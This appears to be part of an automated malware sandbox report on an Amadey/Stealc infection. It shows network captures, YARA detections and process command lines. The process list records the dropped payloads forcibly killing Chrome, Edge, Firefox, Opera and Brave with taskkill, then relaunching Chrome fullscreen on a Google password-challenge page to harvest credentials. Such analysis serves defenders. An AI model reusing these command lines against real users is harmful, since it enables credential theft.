2024-10-07 11:26:56 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49855	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:56 UTC	192	OUT	GET /rules/rule703101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:56 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:56 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F93037" x-ms-request-id: 8be95a60-a01e-0070-5ff2-16573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112656Z-1657d5bbd48762wn1qw4s5sd3000000003ag000000004y56 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:56 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS"

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49856	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:56 UTC	192	OUT	GET /rules/rule703100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:56 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:56 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBCD5699" x-ms-request-id: 4dd07817-401e-005b-6104-179c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112656Z-1657d5bbd48xdq5dkwwugdpzr000000003qg00000000aznv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:56 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49857	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:57 UTC	192	OUT	GET /rules/rule702901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:57 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:57 GMT Content-Type: text/xml Content-Length: 1411 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE53FACDA" x-ms-request-id: 7cb6e1e4-e01e-0033-69ff-164695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112657Z-1657d5bbd48cpbzgkvtewk0wu000000003g0000000008h0e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:57 UTC	1411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 61 6e 61 67 65 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Manageability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantT

Target ID:	0
Start time:	07:26:12
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\xwZfYpo16i.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\xwZfYpo16i.exe"
Imagebase:	0x220000
File size:	1'906'688 bytes
MD5 hash:	A7CD5139890144E22B955BC41174F22B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2131405540.0000000000221000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2044316715.0000000005280000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:26:18
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb00000
File size:	1'906'688 bytes
MD5 hash:	A7CD5139890144E22B955BC41174F22B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2116705188.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2157232237.0000000000B01000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:26:19
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xb00000
File size:	1'906'688 bytes
MD5 hash:	A7CD5139890144E22B955BC41174F22B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2117620927.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2158417575.0000000000B01000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:27:00
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb00000
File size:	1'906'688 bytes
MD5 hash:	A7CD5139890144E22B955BC41174F22B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2520519803.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	07:27:09
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe"
Imagebase:	0xe40000
File size:	919'040 bytes
MD5 hash:	6D09B95CC7D01AFE4997AF5E6E550580
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000007.00000003.3851843116.0000000001410000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 24%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	07:27:09
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:27:09
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:27:09
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:27:09
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:27:09
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:27:09
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:27:09
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:27:09
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:27:10
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:27:10
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:27:11
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	07:27:12
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	07:27:21
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000336001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000336001\num.exe"
Imagebase:	0x640000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000016.00000002.2737892178.000000000145E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000016.00000000.2723151749.0000000000641000.00000080.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000016.00000002.2737034611.0000000000641000.00000080.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:27:22
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5612 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	07:27:22
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5548 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	07:27:27
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe"
Imagebase:	0x2e0000
File size:	1'883'648 bytes
MD5 hash:	B15D0A2A19F5D2A6636C85443E0284C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	07:27:29
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe"
Imagebase:	0xe40000
File size:	919'040 bytes
MD5 hash:	6D09B95CC7D01AFE4997AF5E6E550580
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	07:27:29
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	07:27:29
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	07:27:30
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	07:27:30
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	07:27:30
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5172 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	07:27:30
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	07:27:30
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	07:27:31
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	07:27:31
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	07:27:31
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	07:27:31
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	07:27:32
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	07:27:33
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1876 --field-trial-handle=2016,i,9763649198199615889,4058380472595766421,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	07:27:37
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	07:27:37
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000336001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000336001\num.exe"
Imagebase:	0x640000
File size:	314'368 bytes
